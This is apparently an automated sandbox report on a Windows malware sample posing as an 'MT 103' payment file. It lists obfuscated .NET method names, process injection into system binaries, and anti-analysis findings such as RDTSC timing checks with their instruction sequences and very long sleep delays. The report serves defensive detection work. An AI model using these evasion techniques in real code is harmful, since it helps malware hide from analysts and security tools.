          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, DAbknxzDJaZrPLtQfb.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'P5yXuAXxO0', 'QohXn5ayYT', 'hjaXeP74YU', 'UypXL6rHG0', 'rr4XcboNZT', 'yKfXXMfohu', 'QPsXY98TrM'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, FLkqok34esMY6gI71g.csHigh entropy of concatenated method names: 'F9tXIxfu5C', 'C7YXmr5NYe', 'ykXXhwg4wd', 'QoQXOdGg2M', 'lyEXCyTliR', 'FcKXDICFwS', 'dBeXNZNYCl', 'wwpcQHytXv', 'tAOc9CQx5O', 'c9EcZRCqeC'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, wfKd5VCuDZ8E83bq6G.csHigh entropy of concatenated method names: 'Dispose', 'qmQIZvAoUN', 'WU7T4Gmp8n', 'xm5559Fkul', 'B0sI3DevxX', 'w1OIz5LHc0', 'ProcessDialogKey', 'q9qTArijna', 'YdxTIslJfO', 'ztRTT6Lkqo'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, FveECYsvfIsPyjj5Xf.csHigh entropy of concatenated method names: 'qKCNdxHuAi', 'bjONCs7xTQ', 'F4JND9PjDB', 's5xNxbnYfc', 'aipNlNK9Qv', 'frrDEy18TT', 'XDhDKLsip9', 'POZDQh5PrF', 'bmnD9lEMC8', 'nQPDZy70kw'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, qNbE6rKNj3AKpTflhq.csHigh entropy of concatenated method names: 'C7yL9c3y7P', 'qmlL3jyGG4', 'x0mcAJpebZ', 'drtcIc3YXy', 'uQ1LpFgUCC', 'omtLPKn7MH', 'q0oLyhmxBw', 'vhULoNe0GE', 'kCPLwD3jHq', 'DSpLtjFRCg'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, zYHQWct4MdPKFCaSkd.csHigh entropy of concatenated method names: 'ToString', 'lQAepDcS7R', 'VgKe4OHmPJ', 'u0teg4HKyJ', 'GiBerTm0o5', 'Pueeid13kH', 'FsRe2aVbQx', 'q8VeGQ8IhK', 'T9yebtlZIp', 'X8oeSdPfG5'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, DBYRBBSUdpvjMPQY36.csHigh entropy of concatenated method names: 'AcuxjyXyj2', 'NaFxfLA3LL', 'iEHxBI2GOB', 'tB8x7lFq9X', 'mSrxJVATKp', 'I8rx8ogjQa', 'Fecx1673vx', 'E9kxMQkYPL', 'lmExUnvE14', 'Sjgx6fQ8q6'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, pvMKoqM6A35QhnIeqC.csHigh entropy of concatenated method names: 'Fv0CoPweZm', 'hmvCwKVl2H', 'jqGCtmyl1W', 'JxOC04GAEh', 'AgHCE1Nh3D', 'm9HCKePiDA', 'kaPCQNIn8f', 'ReuC9ae4we', 'QkNCZHnOSd', 'M5dC3tHRii'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, jvSCVbo8l2i3fLUEWT.csHigh entropy of concatenated method names: 'nRPnvgHjHr', 'JG3nPkmPYy', 'SD5noX6Q7g', 'vCqnwdXeqe', 'l46n4YBY6r', 'bS1ngDaHoi', 'YqBnrpXgHw', 'VCknimajoX', 'ex0n2TuJCC', 'a42nGQt1xv'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, GVonZPhHHaVyO2iIbd.csHigh entropy of concatenated method names: 'a9eIxvMKoq', 'EA3Il5QhnI', 'HSVIqjx7Gm', 'wdQIHmWULG', 'PNPInol6ve', 'UCYIevfIsP', 'Iu4L2t252sQ2FVsbnQ', 'gKKh4y3io4niDNNNYb', 'TsyIILoNAD', 'apRImFHCVX'

          Hooking and other Techniques for Hiding and Protection

          barindex
          Loading BitLocker PowerShell Module
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion

          barindex
          Yara detected AntiVM3
          Source: Yara matchFile source: Process Memory Space: hbwebdownload - MT 103.exe PID: 1992, type: MEMORYSTR
          Switches to a custom stack to bypass stack traces
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeAPI/Special instruction interceptor: Address: 7FF8C88ED324
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeAPI/Special instruction interceptor: Address: 7FF8C88F0774
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeAPI/Special instruction interceptor: Address: 7FF8C88F0154
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeAPI/Special instruction interceptor: Address: 7FF8C88ED8A4
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeAPI/Special instruction interceptor: Address: 7FF8C88EDA44
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeAPI/Special instruction interceptor: Address: 7FF8C88ED1E4
          Source: C:\Windows\SysWOW64\colorcpl.exeAPI/Special instruction interceptor: Address: 7FF8C88ED324
          Source: C:\Windows\SysWOW64\colorcpl.exeAPI/Special instruction interceptor: Address: 7FF8C88F0774
          Source: C:\Windows\SysWOW64\colorcpl.exeAPI/Special instruction interceptor: Address: 7FF8C88ED944
          Source: C:\Windows\SysWOW64\colorcpl.exeAPI/Special instruction interceptor: Address: 7FF8C88ED504
          Source: C:\Windows\SysWOW64\colorcpl.exeAPI/Special instruction interceptor: Address: 7FF8C88ED544
          Source: C:\Windows\SysWOW64\colorcpl.exeAPI/Special instruction interceptor: Address: 7FF8C88ED1E4
          Source: C:\Windows\SysWOW64\colorcpl.exeAPI/Special instruction interceptor: Address: 7FF8C88F0154
          Source: C:\Windows\SysWOW64\colorcpl.exeAPI/Special instruction interceptor: Address: 7FF8C88ED8A4
          Source: C:\Windows\SysWOW64\colorcpl.exeAPI/Special instruction interceptor: Address: 7FF8C88EDA44
          Tries to detect virtualization through RDTSC time measurements
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeRDTSC instruction interceptor: First address: 409B7E second address: 409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\colorcpl.exeRDTSC instruction interceptor: First address: 5B9904 second address: 5B990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\colorcpl.exeRDTSC instruction interceptor: First address: 5B9B7E second address: 5B9B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory allocated: 1560000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory allocated: 2FF0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory allocated: 2E50000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory allocated: 7EC0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory allocated: 8EC0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory allocated: 9070000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory allocated: A070000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory allocated: A5C0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory allocated: B5C0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00409AB0 rdtsc 4_2_00409AB0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6161Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3544Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 823Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 9115Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 877Jump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeWindow / User API: threadDelayed 9684Jump to behavior
          Source: C:\Windows\explorer.exeDecision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)graph_6-13896
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeAPI coverage: 1.6 %
          Source: C:\Windows\SysWOW64\colorcpl.exeAPI coverage: 2.2 %
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exe TID: 2964Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1988Thread sleep time: -3689348814741908s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 6776Thread sleep count: 823 > 30Jump to behavior
          Source: C:\Windows\explorer.exe TID: 6776Thread sleep time: -1646000s >= -30000sJump to behavior
